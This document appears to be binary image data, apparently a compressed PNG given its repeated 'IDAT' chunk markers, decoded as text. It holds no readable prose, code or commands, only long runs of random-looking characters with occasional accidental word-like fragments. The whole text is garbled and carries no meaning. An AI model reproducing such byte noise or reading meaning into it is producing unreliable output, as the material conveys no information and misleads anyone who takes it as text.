Ԯq.^*?PcCD&*JA5+-ryB\K?z֞#yYnyy)!jl&Ex Pȥy_]Vh+}=-C}?/+۷ Di/"E]s%]cns# !ˊ-*cXmuBۮZ\P ԥib[ej+$Z8,?Gk>ODyD4Mws_0ʹ (Z%ɐ[h5bı TQ! /x /Vȋ@jߍjҁ'NxFHϤӣc[;S4ghAriaF6,fxm IDAT螙(ԾZ7"gh))#n^\ccXضN Px3VO;Jfݤ$+q-Zn_ӫK 383Kmc855.S]ll?Z5XhOKΝBQ*ByşE[c^ūJ,EPdnyqsVY*g&Fί_Fۙx}Gɋױ3͕<©MO]&/$y¼TcsǨURNd2mf$ϋr^\R2yqsMӕ7I o vޖkQ4+&/~o&/NxFv&/nllT%/N9vC;}п_GBb&L?sJvv# ; _pСgiț,6ʡC8Hs^/g=60q<&s2)h읻'ESJHD*3[Te%tT*Pd`nRbfݲP,)cz2X/rYU 6 Dc};Q߯-^#wQV]"Bri8Skd)5Q*s/l<._k.+-X,m^tM/Kb S h=Beq:87xlBz-w.V/}O&W JNdd5˹BAn,'-PS <o:U\H(y9Z"V#Y,NanJrB(!:(L4}BCnT*[wXow٥+ bîX,`XcƮ؍MnH!R!JS:җݙp7vIcfgΜY{w&:۴Mg #M}=zMEESnsxۨh[NhzwMM^V֝3 _ԛ|ޟR]Z%a>?sDr") Ema&*3%!G|>Wl "@$e~b"k-{Q=4+#16ܗ޿hd֫ciT2CCFj:O\0P{Ǻc3>֣/JDވy\5+2b.5wʤE""֬ݱv"==ݰWb"ZnYǏRVV~>vɲ _= :1+'!m\lS-x[X(]0zcSe߿޲ۦ.z¨ T%ő:ȋ5\< Ug5NwPv!$6ql_j*`s% Y H ކ.AiT$W]rs_ڗngi-) Ee |p\r# `"dw喥RDۺ[e'=HxID_ZV=+y![~&E(͍yMD_qM_YE*7[Ƽ;m!-ZZVVܑg^Qe@ӀrGyS$T".@P0RJ7,(/nҼG[yqeZ9SU4Kţ\Jţx_DIJ,H6V pyiVzQF>!3cTgk5 V]FEaSZVdA3*P*)Ԫ'fpyw( UvLzVѭpyq= D7>+n#|5Y^|]-ƌ6"=+yqEsʓ>k={(v/N^ ?~\^|_61}>&==C de%770./ޢES]wuuoذAjjZNߤ4 %(GeP6HC)2OK,?ȋWtȋ yq9xf-|Պ,_fY%b%eXeaYFjn)8yظOijXzc{˝*^Ey_3oul+$EK,˲ 0 qȰ/g⿉z6*J#Fju#^|}Fg"fѩgld] ~"e|||>7_dR*d'c{ PrA5r2,3iˋǡO򏫐!/q_h*TS'!(3o94='9Lzz=*TƘu:H q|p*~ms<һPUγESo{qس}1^e28h"RRQ+FvJ7of-";+?  |%+;|QWyOoe/o8+KبƭwVE{{F{{~Z1%oT[ǸU;F<.iUj?EQ{I*je 1bBH[QC[QzMuT2#_PYOmF|>?3Y1 !\KN4`YV*'y뗖.Q-̇So{(oq_<_< H%~ԳgVDH و44wW(8߲_nvhĩϜ >s|Ԉj\ NuaW0;ʈ>'{iahNfd>qԮcت˨ĈODGJ|F-]iD$}yBZ6}_dqiPO"23}N*)PQ:4L.1QtV4rGzZݲ!D5Pb|{ $ȋ8@ȋ@EjaΚ A.srqLF*LO!a\cTaIaqT²lNf2HHKX(RzŲ,s¼?5o7PP9G $?b"*˓+)+w[`gZ=6i˥+b}o*>r?ynH]fW$g\"Rn 9xe2&WR<{ATTAoQI͸F on=;wZ9KGY-Yp^ X8̜Z9̈́[ !?ua^^^֭ƌ{r墥jΜxuZPMb]-$aN/^Α\ X.]Ui̸[2ccTjkMr}u(۴ޱYӠ3~ȤM~fioXJ{B"{`>zNS3!E'C-KVj#TU%K#gf(m[A0ԥZ BQF?LRt`r{w*khݺ+ўHJo+ED|p" >wV~f ki { +KQ:A  } sZy3ٸ+~w~v)rGk*̸^;ea;_IQ0ez\)FDDJ~~_I8.5be|%U5 [n/[ wVڍټw(/c ӋvJ{/ѠG˕_@ck? hi_r5jf֤}u"@Pщ%*ٸsI )תmtu6oADfG~s Aspz߶)~Mli;Z~uHX\a#rϬ~fCqJnZ.S(WM"/.#^ [7: MK|p^{>e=NdG?K-+TZv$>Sb04y5h|HEq~&x!QȋC 8VMƽJ *^:|yAC=zMgڪTR*P$E*j]-x|5?'2>"HYECIzJTyZGE2jbaԂe7Ε :adnj*ɞuɰS׏O$>N_ ټ)xl^Rl\E'bᒠGZ(kh+*S֬e6IY D'Ze1زgPzȹu[4f-BQa#^\LDA{H>rP&~}aX9u+ HR^\rXEո]5BΟfLcKT]~y2JPשG|ދge ssBuOQȺ/#eYjrcc˗>qmM="[PJb'[1LAfF~?bKv=ZK|D\??{ۢ5WSuw]ڻP;rߜF]-eC.΍L(/#]ob^FI==3srlAgzӁÜsR_*Ia *HYCd 2" Fb#b[R/xmҸsܻ@Ia>*FA^VK²lJ|Nz?{xE /Nȋ˃8@U8u>ff3>d.-{ѻW\(K$q7uaذULjT7#f%EjQ]AB:fg$}nh{g{lo)}EMnsJٍ:5j=") x<>5k&7VNE4 |7QD'|ۢE³`u@MzYrNr>Fs#"bRRT*^d'&h+i`(TQeeL:ur҈(!JBw QW!Mxe>]G5keFk\-Z?S2n($~#ejNOy衴_]UK[Aҫ;+"ggs8"%2bEQϞ7g-C%%].71Ify-YV*{f3b]52Q=H5GnԲ'5u2F"RQ()Jm(_ Q+H-!91 d$Z Avȋ#/.wVȋ+8@ոJ'RVo:l; ß-ANQX}BVGDŽ?NeVvA_(RKe2b3k8""AQGؤNܲT,tKZ.3.{4Qȷw\lr7+#6>9Tjآ< [x6OI~Wȳ:gQ**OYɉ%zNDII61QQ e/Sx.W0Pg%%d84xJmJ$|R۸aMKta9(:xE6%lYئ￞oWЉ#&Mˣ3R HIYeo Ӕ 65{8 ͙h6̖'n']Dyq_u?+zu3KjZ,^ft9*ʋ'}x1TUIf>%I]J{)pw#}Ǩ`nYMSǨq~W}H%JJE\5hۈ y|Η^ /88@˿Fm}q~8|c#%@(eY%_ 75ld\ M JD$.ȮDYEM'HTܠqW[AjbeS p =S>ڛ۶gڌH$ σ%yyJ"lnav得t;x{jIw?gޞP1 [G<`KNb&;!Fe=W[{^7neYdq~\cQ-孛 =mwp"zJgC.-3;_I =n("ڹd2b+RwBK.Vtݷ KŽ /Wk&[AZRde|%ӖU4%yޅ>$"eÞ4nէKمoeq˟޼QYED"Rt2LTgFZ,u1d=uRǠA3n9Ž_ ȋs/ yqE3G^Zv? 2,ò ð,#57ܼSl\§DU5ʚ:@268J|˲,},2 C,}2,+ 8 ;Fm_pWu"RUӦ+5P i)J@g"\yutpH)|>x|>+xD+zǫ8ˎPC /^/j@MQDxFx̼9UHTN1yqPٸzԕx,KDc&GE/DmM2Y&k-Q$R޳Z];XI$R33?ˀLϟ;ܣme /7j nYUUe픸aU8"XUFP/hee K$3g8{ZLZlv{tɾ*6GD;ϛ;}9_=Q}gvvWYRVu_,qٺyeV͋՚7klٜV-ͤR NT)]G@XwduS_JՈj\UKc 6sSUUYN*ЛVChqZ-_bImRJkJ}.]̷o]tUF-ǎ: !" yqſe@j8SmWXWH$ylnn~܇kCFFOx&&FDU;$ؽ~}cGv?sݶu5_t@F|1mi60Lnn~nnD"ee 5048zd#``w-DԬs=|m]Ub4'ڱF IrINmdT֖N-,:(}x'$}EZvyîkU_ߞgرy;M8BT$::vĨ\\o~//[ >~L,{Oi9DԺ#7m"RSSr[WGwp+D350#Cn)'7ZYuz帯[Ӧ~W-Ҫe3#IFUȲ{~FFC݇ _YS""eeQHJ9^3TY]%v?}ݺ{&y^^Y5G=9~loFHt䷝Ϟm3M+d?ڳ{fvؾ}k"пymma93W*:Gw}o1,Y-I/}Ɯ9{*"Y^S*e|a ͛7rrܻg5ihǶ5۶bwGv BE¬_[t5vKGMMݳac}Fьzz+ݴe[/uJ{׉>^+zSsK4oix=ұڔ1Pwkם,ya:z3r`C~8ilc]&`vv_@MϞbs!թHҳَVvS' CCO;؟~DfgE"ߛ[JY/^~.n,˖h߼eߞ]k `-koĢ[ǫ +-z II u|Џ{M +Ym8؟YfpXxć ܲTN23>'::-,,{azzff:ge< ʙIL~=~hu;˲씩 ]9q-TMW41ő(UJJ9r(LD.23~^s&&L]x<#"@@Do^+i>L5Xխ@| k˦qDm?O}TlJ)ӄĔoSSSܹ}m̛NDj۷yܝOow;VܥR>2+Qd[ҪŵD"Qͮ^ufu:˪tR)S⬢MJNٺ/N͘>ؑ6}(( P-['ywYY%+W̯Ű,]xΝDT:/NDߒgYVYEg/./nٽ'N#kʼn%GYt#%=,BMDwVwi"Ҫ̥ܗTdyqeeQۀArs+Qj\^#gomccu'Ź/pyqO/\t?8HR[ہ/\(8.[] K l5.LLv,Cᣯo`ZO#TUUU%۷&NabboFe ի޽,̚6RPDDSӫ+H< 9ܻqСm\) 521\Zѭ_۵&bYq@u,kcwƇ}mz[Y%"[nÇ ڵ#ǫSG{>eJ"}ի;5lؠ[J͛.:Q(N~LLhEyitÉcuSR;sHSS#'7^|S|CO74nˁ3ZVP ?w앣GvyY#""jk, ;X,^{y^>3{}GHYdȘ"#֮߹r\=='e.z¨ ¾\٬^竫x9q3_ ۾ KUU՞\tC+2j\ss.\a99yNZlgy['s,˞:}922JhrthS+,;177}&_|:~/e{7|yɝ^|,=P4+Y^սain)Y~7oEO8aDy"h%gMej宋8yqϬeZ C2 K,˰ 2 òܼSpsNq U? @ Xb^?+#59S'Me-{:/S?XecabaY_Ħz ./噜i_G^ 77Oa vyͥKUe{>wgW5D^nvzF'RFx<>'gpslT#T}ǡ;UD*ّ=Wݳ0ū8@PS>YIYU>P,?{ˋoظu*u;t|Ό W~wFwC5yq*_h*TS'!(3o94='9Lzz=*T]{hj߼~z%x ?WWyO }lzg]ge֪eKxN]tQuFSyO=urrrGPVu_5sT#q%;u΂Z /^t슎 2ݺQV{C|Ve]B^=9 ;u4_t&TSq .ڶiIDg8zYޞ!FF=^o]z²{gٺmڴ8ý;Wf8kr)oO];֨rMww˥m[rvr8qx9).w[4il*uFgdsn W}_c~\^|S"MhoOùA6=ZB(L2ıݥ+ vWSS| ے͇ }PvrJr֏ڎv)"RV?sl۶_}?e~Ttё_wvO@ښ& Դ=,lU3O ੆VED4^Fںye^݉DTX(;ϲ,HyqB^jb6?>'|L <=}2_7֖+ҞE&_%qyϙv+7/lGN=<c];521&"./~G7300߷uD4cD{ĹV=OC\y* yqOpBl~ml{88&kXgSаy["6|؀];x:u CDVV]*+>'E*(i#55ճE"i55'I$O6l ]X&n h]9 % / k?9sWYhSV>*BC#얬_0%v?}uspȨw\>WOO799.J̟Ԅel;HDyڬ\1O;RiԱ#nyg-[g323^Ѷ86_` c,\CGD|>O$ *?b>D;n`hzkn9tjǎ;F /n yqոסo;v_}K7FE8siv?'~OJ4p xDv9s/Wb/nqƈ\~ "?g{s۶N2 IDATl{|?e]x/wQQvGAZ]XYu:phєL7m/ˋnxyܲX,H$rˋ7l 55-''769yb=fjT,r,eD9ϟUI=VB(ouvȋTY._"˲ŗYeXaeaYaXw ~bn)6.SZFeM:$"%eYXdX8dXV|3qv"ߖs* wu=yr362?2R>|>|>Wog8q5#'3dz_B5PUP*TT qU8j@UA5PUP*TT qU8j@UA5j.]oY|~}{=s'U;$] TV}]W&є{%uo;lGNKHH&'$8y-Z6tH~~xED^$, dOR){V}]x<@OOtus?t4˲֭9oKf';gGWl^jC?VP Y\UUUĤ~Qdg;߰zQ6_UU-=6mW],Otɞt\/uܿ'P151'ΙVݳ:}H#Μi Q/QCRfƏvC"ζ#mo׫҉͙[Vl>vK] 4yn]х7,,^ng56kjzaoO/m[W#3ŷyrMU l=ܯ߽}ܼwo;wo_tTAHi6ݻskٷw7<=nطI6Bǎn^?iҤQ5ss D/K==vdc?~jzՂC\ v9r0sꔱ\yp쟦FくBo^?5_gG.**\3[EnKUUee^o9;˂kڵZj~⑧Am]]t: |f`PT߸~鬙wJԪe`~n7<Ȇkzh̬)Wx|o]v҉-(vPmvZWv-"~_OٽVZ4访˃~^PYYT)RSSٴqu_[תQ)Rɋo޴zE۲7W*d[B_OiнTHM^`⍣G ~Ҙe7w:F+7n,^83:CrRjMD"ёv>{H[6@PWG;9%<߼ykfִׯZQnrJJyV Rrq3O FSӆ{lطuD4cD"6.߶P^mqH>cΜJDYY9=zΛĶ֯[$pĈA\{=N})TIl-}Ħe[W?R$8'<}p^O_o򹛶_z? W=789;nE7Ν; oOxp-#G8a3㠁6-:Q&tV×.+*1 _oOM4px3[mk;=LXr+KDUk{Xͪ /5凼xC^jy;sy6۵5Θ>q/_1 SPP5jh?~w%7EB45O 27Z6UMxZ[6LJJ{YykjUTT'Oݥs[nFoѭ9?p<,[P PW<{:w`tݸ#?Jwz$"a233 klluNݢsm$Idd ժ1/HJJ>søIR%>|Ly[w׫/ո[w\Rx<""Y=qBaaX,=;PKҥ_}HDޝŴ>~f]{JnȾ'ך Q(Y]E,)7MELYR)HI5-33_^y9SyuQPh`_逈+7rs<}B JIJ۰U^;9yVf~' _b=2Ȉ+7\.X*{ElKht_ M ݏUVr3^dfKzgY?j`-}q7}qQ#vbꦲb>d7oJ^{7:#Lh/%%u)DpOceeU*jz!XL;̩˗(YY-_{BOp"jpף.rƭlGLLLJJÇfIy܎v:n(BF}}}JJHBk珝rSz]n7ه~n/x<^qF`AAQ2P[[Kկ}1F#oݮ$*wExW䵛7os2'<}*ZL:qb:&cέĪ*.!HR}BFyөIڴ!#U^=zVWWWso'vBWX,˾m!th///G=0;;;w6Kք8苣/ 5[[sfNm_qdB$ G}'ʂzgl rgYޚi |땐yVm83}1_>{TVrs/N8qlTtl~~annہOvrv?q|G=]Zx'ڱ);;ӌ/,*fXjjm  9Jt8B44AM4_Pd1͔bx/lg__Px;6ӇFA&E-6&--E-7Umd>M߿/ܾ yS/^A&.Y5ݩWBū /$Bũ7|;5{y8F"EE+<}BBB_GDq.iNwEs-:w;$?;wG^^z8yyV ?#)iI5 ~٫WktKNNO[٣&7vTjvj#NON 0l2d d:q !s'-C96I A?oZۺI޿p-ڥRRکی¾={f2aہn7![vh?Rеkhv`0:ik>i6_ןy<~lȯeb!8BH`P<66\~kOWW׬Xe~eފZw#:@\\bz;/PT[UZNDJ'sL[tcř2yı%%"#ه=}e_zu۴qE6m˯E}|B22ٴBMMuHBH;abbߔlCMv񐓓8{.(--]q-- ;͎߾ͦUak.^y`},cdo޴Cv FZtͪ4;{ڹx)L^^]LL<+yBȡlpX͸Mwەdc£ /zg uj I¾v:m]~Lmm}q苣/B"7|ʴ2Ǜl.O0-\-eBWckP /_-^5cg77;ݱ-a#&5\֮3g~2g={5{z42dRuӭ-K}?߈ jZYPPu/J~~w>眷Ϲ#oVxSqwd7rmwds?E܆+߾l1}qk}T_nkQla_<0(fӊoXzP?rH(/n:ql^=lCw/ұy=)((oB"NxwΝ%%aCu#wյ[;Tw/~jLq&wrSPPO_c7̞5']͸+o]{\ewn;TxfWyڿhv...t3=55ǏYϝޯ_j~#/|Cx} {VVrQYmtNZ@C苃A_Q苣/84P"| |^JJ^NnABi||>y$Y>ODQUeu-$d0 &$ &d|Ĥ>?%`:>?88888888"FwF8:lcO-~f"B +̜,/PKK)O^Cф _ee%jZ]N^zQ4Sg-w|7M~վZDṨ5%=ot~O/ _|@ꥤ$-mt"gI "'>rXL^GUUԵ4SRRx|`0L&0L&`BEA/t苋st q?o1Ml@Kl@Kl@Kl@Kl@Kl@Kl@㌌F^9I[8uI_`󑬬vq7_\Ě8-{.^\oq!K3L{Oxѕ꤯ǭ OKhqP߻{~WO})=ussd0t"L&Ow78t|vuu5CB+++ZhݜLL NԂqXq&VW ZdNmܹ9,6uݡ\ j##>ʌP@JJ2≕+B/{dB\K6;!((˭r cyė22ҩ|~jҲtM8}q0Ј:&#p;)3+kWmC];=H{\SSVNN.66NgC-M BHt&infyGGݡ[mz`V.,*zp2!d@^)i{v۱cϝ9:p`_BH;5llwq }zmmM++st_}q a6J oKJ$޺uVQQPDIQ!d3uJ t"JJee|>bRPȕZ99Y111s5g3zxn:ѕTkzĤ3|O^pߥ eaO̬f*-{?h*/$A_G_hDY{>?թUUҲ2Cjk_復UVr۶U~Le|@EEYUU%==m[򊺺:s5hIIɧ2߽+F CB#kkk##c޽+3kн;qr!V[{[ue}C_/hL}!UUb))^==Mw(y֨QCs!zz?Ϥ;yJ^^nْ9'OBxEwfv-߳giSMjn `0R<2lN4}s9f̨w% !::z֚WB_}q`6.e2˗/{ݡHBb|EE%45OAt"cut:4;v0;T08O;o&!ҥ0=~Ægm2UFF6IIqnݺ ԟbj:d ~E*h ~5hīV܊ g@@w(mpԟݸͶN"2MIT+WcN 6oZ~OUùN\\<{9:lOD~6?qfͭglڼC}C_}qFWh 9 >e=5)>U^^acDwfVXXl`8MxsCFujU&#:~]ҥ`˗Z_f59bHݷ;T#}tjT_jR=.{{{R̞5E8,a_|/DLC߾-ݺH/j]V 2RDgCoF}q~OB/ |>_ tuRRturr JJ6 IDATWt:| H$|ez9 ,& ߣ*Z{))I<>`0L&IL&`0!Կ8888"qښG=]1A\$%%RSed=l,MwtI_`󑬬vq7_\Ě8-{.^\oq!K3L{OxђJRRbe)ݻ|rn仑zS7_ 8vg][=)Egvdg2Cq5Xo4SSdnfwٮFw(BٸweeV 3{!݉Z#"0k1*u]KMW _&YVv8nnf.#G]ybbb'"q4x/ !}CڴVCڶU!Z0څ[agjjv8~;ɿ5 !65sω?{ԉzg@88l :Dm[x*RN:PDN̈́ c{UTTNKKieFwf %%x !=r2!z%VsyyC1DrٷQ/];=H{\SSVNN.66NgC-M BHt&infyGGݡ[mz`V.,*zp2!d@^)i{v۱cϝ9:p`_BH;5llwqJ[PPp|ʅ^\&/4;5U ŋfWVVuJO| "o")'q~NY踗[NZα`XsAW!ߗȘ+()yWJ߾otBɄFcBF דmsǿѧOe%EBÇObbJJJ޿XB\v쬜pjB|kgjk디EK|Ť+յrr?ɬg3zxn:ѕTkzĤ3|O^pߥ eaO̬zbw`k؄S'] ?-..~9,JAA苃(@_G_8GΝ{~:j'܈Ǎ젥!66hFEwe jhp"8'±*m!)BZ;`nf2nh;$$ȗavJw(BMzԴJn۶}oRyeUUmU+<#%%%>|)++/ yxA:6k8 aXM5"9--CW#|C'3갧OEEN _8}C_/#xc^s F#xY079,Z^ׇZu"E%|BeeN3 t`=006r![v<5jB^3E^漒[dSA}3^d룾[lײ={v62252PTTH}hȰ;]SS BKGN^c7~+ɵ6tЃtBS/C_+R/8@cDn6NRRb#yyYBH~:u%==+8Jǎα Jn?II'O2$>7{`8!_:i#wG^^z8jߑdEJi0jX݃#E+tiv`iaBwa:qLw98ߴwj~.6tٽ琣ii{i78DYp"++s{0ʍFW}u>jkk8ۛ6lݤQ}qC F;s&PӰ/Q-kۯ[|/>k}qp|=_<ϳƌ5j{<!zzM;?}CiSM !YԨ{ũ [LZdmYQoFN_ldsٸk>wN烅7oN};5c9#/_ZL[@)--=~Hoߖ KwdddY_MwOW:ѝ O@B_*0(: ի1W阌,,,qYtOCRRb[qw޿а/|s,f5r䯕GP}=R¾xxx/t|m\ܝ [ϵb1GI̋)JHLYMGҧwwQtþ~WOC5/n5s^R=νt)}AIfϚ/yz))Iz9%o e˧}ٖ&"Zg+ !Dϒ@ E>O|/fyMȾ+n~ٞ: d2d2 BM}t/s^EF(**=/k!**J».E;77Sihݽu㦝 k,vss\)Q ݸqwjjjx<ދ_zzNC7o\m!dԉI+))-''Kq?KcoDkjv HKK9:ld]=9`RihWy&!ےwRR옠 >~x4!xthrř3̿|g-6vK퓾5_?h\nunn>g@>qw !o޼%<}X,>cNk]\ j##>ʌP@JJ2≕+B/{dB\K6;!((˭r cyėLSRrkkk!b. Łv)'q'O;n`d4ԩgϚ`,Oo4|!DBB>4?x_sLJޕR#vN0f箝6 {(%%Ej˭x)l<+f;r#&bpC|53m)ҳg}{9;wn;~}{ݹc׉3ϠkNv? /rU+zUp9Z+ 45!iәLQNtj\ng빖Zu˄{%mǎ lu9ɓ#nɦc4>|'?u7070王d>ù]YY)!8HKK`Y{ غeMUrQCwߡV)))|KIA!Wkdg3zxn:ѕTkzĤ3|O^pߥ eaO̬**)-)x֝ZEEE@B_}qڡ/tS/ Q#YL_|=?C5B44:̳3yҸ6md!ZZ/s>/|Tҵk7={k߾tٷlGr_HUZZ֙ߴq%!͛QQs-Ld*k珝rS lݻMjAKYz;ܽWf!dNP)5;jDEs!ZZ|ڲȘwʌtckqܾqvV=ZVϟgut!DUU5@A_}qсB_/=y9`3g a&_'b)x:1Z61Ձ yw\ ^TpD\\|ٞG|%edddX?3+/өٱݡ1}zwwߩk^oA-_Ȧ;)t)pDvv.\t^~~tw }qEM8n܄cl6f2߼uuLIy@x)L^^]LL<+yBHEEՒmlV{%q8S'%|+_:5mgjkk?H?tllgVZeeeʽ۶:{.hS7U\F6W~S~won,-{蚟_q(r())P"ٱ@PPDG9nv"kjkC\;Q3PWWۼi5vUU\vHhgyN{dCe@KQ ll6mZw" }qZ/D苣/(Y֮ѻ}yd0U[x|-›tR -6++۶4o՘c}9u-BHAA5˗hx\11q'gwMI+/yz))Iz9%o ed+: 灝.M‡$>y$Y>O& -Y`0L&IL&`0!Կw Cҝ~|f[ Gŷ)**;l|+>Iw|ټѝ~j"7NM55%:!.+׮_p;6>"FS<}QC^&))~ݲԔu1AކS v%eZ!n仑z¾BVVfn8/.]bMw׽[c8%ǙL'h̶dԔh'DJL_>|ӍqY9_? EEgD_甕?~ϟae)TBHaWھyVoPcעؙ/[.ǍU-q TUxyCwp>W#( ZdN< `1 F,_6OMMe?3nOHHFϛ~QG9svBDjJ !C8 vߠ`?;3gaC pOgN{&߽EJJ4p`_:nr,ǫ?dee4;j ~-!uuu-8Ob1];v]ɵ0aaO62ii3 $/Xb!D\\[N&Xϵd"j.:/ZP1FG| a~@K@_DM8}qDw6b^(11U^!dԉgM]i'7>Lס=/epzm}gwkxϋK6Քٳ۾vһW7j}EEy{?<~V_6uf;r#&ڸꂂ;i%ąq! F\V\Uk-AI{d2LlĤm-[jݹ/-M 3{!݉Zrh8+ׅwQ}q/EDgBO ֽL+3yyeeEGN5s*Q[[[~a|>lX--*ss !All =~FzgY?";<| mmMB7=ydf 9y7|}qu˚*?n:|.%%Ҳ2>oi1)(Juu^<{yuvӉFԠZ;ի&&&5{..{zgf}5u5ra/4B_G_":7W]%$ĩ L4MBH^=nk珝rSgg>}r=PBț7obZ2L!to޼*GYEٱM ܮahiipqJKeΫl}qY}q%8BȽԇW\jz/ge>O9~lnϞ>ruvlps3c?ݏWql^).&MV=>9vu7owpt/Bv;yDZ/B wgd+[z޿֖0cw:@uS~nv"kjkC\;Q3PWWۼi5vUU\vHhgyN{dCeҝH8<)苣/(+*~=@w}eos>\ZZt&jyQ%%w:}fAA5Ǘ/_}rd]YkEVXX蹛y U\Ol2mAs+llN !{.SkQW\u2Z~ Q}^>ygf|WfR}qέk_k.w +O[eee۴;T}qW# Gs˭=kj+%ժk4w;TV3wٻ-ރK|݇ `)|^)6m\٧wwBHGωvv$..b1uuYM7;}9¾8x),,,@r8[V#m*dnfaLjJ!~vƍ+>kӧRW՛ !g xjvs8H XYNu1څP}q%%/+cffBwMIT/~O/~=*@Wk (|@>OWW/%%IWW/'mlsE'̰2aeÇ.{oSÆ|&.;+ !Dϒ@ E>O|/}MoQY͝OYx=-UU~PVQlOKIIyL`2L`2LGLA+U~ !CZaG CŽMW^S/B;yn6w JNΫ;6 \j Gŷ)**n00#@_@41l@#Nz܊ M q֤d]; |z)/nޠ52{wq.߸~qk㴸ݺxsa,YcNk`&k3a˜Þ~UmdgZ|z%VsyyC1|O%*SOg֯[d`8pj_ߞeeﳲswuL}m1m+F2mWq}s3yqw/{ujjm'lsNy.v\zV\XT:eBHοwp;pp!d-:Mjz'1j٪jPj9K^r^C\n5!dʅ^\ Zs_MAI{d2L|܎Ǜ䦧g:DyA/M'98R+[L5=@a#&OXd1KJeddm>!:|BW)))|KIA!Wkd }*PkzĤ3|O^pߥ eaO̬zɵc߅&f8}C_Z}qOl]n7ه P|c/MhFEweK)[ ̛[] /=u>۱XL}ۂ}}:j |,ݻRjDc{]ݾԚvk%%$ZAdx̬m]UWW#~fܙANvm^mx͎Qv!g[(OkJK|j֎lY~ݺ N=/Z8XKE),,xWW|r۵lv_NjN/s?G0b!/Ǜ(\38=)~ %i}5˜Wr˖9t؛2HoƋ,C5OYԨ{ BGCMFƏ7n1iђ `?<KJHHۍRҊ"m/P"%nZT{[l!cV-ME0fǧ\?.c}=53ssan3[23MKjAبkȋw?ϋ>VYYE+JJ>~l3#BgYbFSVV<^ 3`@# ;up|۷޿8k NWw@Kw55Y9{jjvne||w̙TCAFvK^S2dȀ=%dHQ?4MMyq ȋ#/ЪSHl\ں' q8:=|g[#!l$q^WLe! 18䖀p/igq8w=:a z6u-9%38q"*+_ſg^Lf^@P!棇Vw7gׅԥKWDi=<{FNc||ʹK_֯JKܾSfuku ˩5!ȋC!/8@:nKPTe܄kn]vU7II璒5ձ7f6vrȶ(eu|M̼_ymݫջI{jjj=<Dſ_ iYed\fdZzvZzv qƹKU_cC*/^Z}trsSyWw^URRFwձ[W~ Zdh884dS{ť cv\r|%%Ec#}߱ߓ93} ߗ"aۣEԿ_gΤ062yޜS;T^|ͺ )R_:eq7(ȋ!/ /.fַuSx|<>ϣ^y<CϠ3-ս u~/?&ǥh4NN>h4B'7ˏvq‚8an@+v|'?Kw%8>w%\%v#榥$cfu#`0uUWׁ9),' {T3u\өLHً٧:oѻCƄ+II5-( -n ^/uzch08fť;7ge;fdXSEESVV쿮*++;*xgľr!*2gϞ+**ݳ-CWxBTTҺ5K&Zث|^"3/,"yuzde?t:N\MHL8b&%%Ě 'Ɇo}rNʩii)Bcgky3NRw78&%|16_(q[6:B7CMF ?s@ίIۂee |>͛wbZZVUBȣOF諪3USS}4InٿoQ~X{.˽sGOgXB1ylvPVV!d'M;HmmtAYB=III&>l!D\\<vV52?4zatf |p yyq u8k+s9kMu[+BL{N2,皚xn pKXj>k=<Dmyy[;chOXNG)|-^䠭݃޸ywudԁP_ u6j^̙T==Vhk 58ne %A^e9 o.RyqQuxNoσ7̟v**.!U<{{cnj{ݸĤWU/Bx<^uu--͏JK_Ul,{#GOUTW89fHBH]sc|[7oVS227FnM.1f(a. 7Ӧ;{ŝ:;jwT&kE}={}%EE*`˱SNmj4r䰐mQ͋/wn_w1댍Ůȃrjݝ^9aG"# )M|#'IL{O튌k9yv*(ȅn}YQhn=N*AJȋSh#iuZEbbbz:d#ܔyWBHU՛m?B|JvCCcw[Ŷhjvutk5GYYO?~=.4[}H*H555=+*ۣU7\Op'l !FɨձUU߽Xty!3LҌ H?NIK϶l6v-^UVBk^V$dr8KUW]_UTT<(TUUm_MKKϒ|ٻ}|a'N0鱂L]7d@3:+Zyp /_ yq8@k:n\ū}^?qi+Wm2Y3tUg7:z~V,:mi ,& vӧHKK?+*\iˊV֎Vӆu[B ! 窨(GR[q'Oz=(+E143!ufH)f6f6%%eWx[Lny|☂¢v#Uh ޿FWK^-v{xB§E˜H$^/!!A"5^G|G||ʕݻuhzj9';da'BӭG0hJ ue IDAT;fv/D\\yNҒ22R22R #-E:n6x@Ĥv> a 3gR ;:=/yQXX,kjjszޭtdaL,'_KuK{Nqapp?8_yqZ߫{D"NRMM2,>'|>y<7,)-BZӿ:(x$z9 :ߢ*ZݻPory\:Ft:t::F#PRE=w q‚8avdg޽ ^w9|~5V|Kq?8xk3sr/~'ƞhQ\bՋrQPkRޕԨ]Ty+Ҏ/YH{=y57-%3vM_ЭĄ_IIO=f9y`^s/ɮ NdB^>Axum-,Nr0&\$]IJJYN~^o4v|~ƯA[wfwҲYkعduνTnƣlݶxv:3|wGZGF PjcJSWeewG9j6vw mEE{8ne uk*++LwvY=w4s›K侰\)"iߊџ+&&v57`0!$> C,f,e`/n\:y B3Z^*'>a`0̩sRα%ɲɹSbv&9u פm޲҄k+K٧UUU!ǜM9*##E[Ǽx6h$o362PVR ]]]KzZZVUBȣOF諪3USS}4IknٿoQ~X{.˽sGOgXB1ylvPVV!d'M;HmmtAYB=III&>l!D\\<vV52?4zatf劤hȋC{B^!/NA^WV8HcC&`466.p^ejfZ?dGgS.q$XLl:bFg m޺+`Ebbb55f6n͇ib1Ι6k b&ϝ;n{l ߱w9W Pp\W&xVWWd9{ǖ[<!C_ͼpޡC %ty޽{ if7xz:̳f8իקN%m,lgu5_[ 궼R$S / y񯇼8yq:n\R--MCA))GYKk^簮~aڵ~u>gE%f6ǎ'K65159v,ǜnk{#7&MH3fU کıq! c#"ձ<(|h/FgqcM44ԭlVJ^Bh4F;B/Nq8MJʭZhS#lj^,-}sYgll,vE#wV[| g>n디WWx-D"幒6|4[˄4޹TbS\\׊cPyq 5*/~ٯɋs8'HEEk7Pyq*_b!_ ȋB2<6EF$;9K3'"YmԨ9V6N]Ƅ?}bFSVV<"!!;޿XFy…; 2*ߑeg]c0Ç < 9.sb0yWo)*1t%&sf034O 9jh8@\\yɋba^SSӻw&nn][' cg9yz[֯[ڳgwҎ @y񯇼8pٸW !y7tw19)VP6O%Z@KKLf2s}|QԴ R~5?YXX~Ze딳]***OI%xyŝ%ƅ-^+p{u/ /6a*ߍW8:^[uuU{S6oݑzߦ5,fʛ7o7x#FyEkkj>B ? [+--sN~<߿n{x s4Q{P߰}w}=ź8y{._T\ !S'؃\.78dW )š#@^!/8@:n!dԅ/_ џ&a_ \Ǔ,e/r.d"|}}6awm mQaXךW\.+0uu{͜yI),,rpZ^}}2u=G|LBbڟnE+jjj=<aTQQi6 o/,lFƥ QlFVTTٴ lT^<-=ws׊}~n6***[64p4P۴_>.x1;._qz~Zz /{0cpA^<0xW]{uG 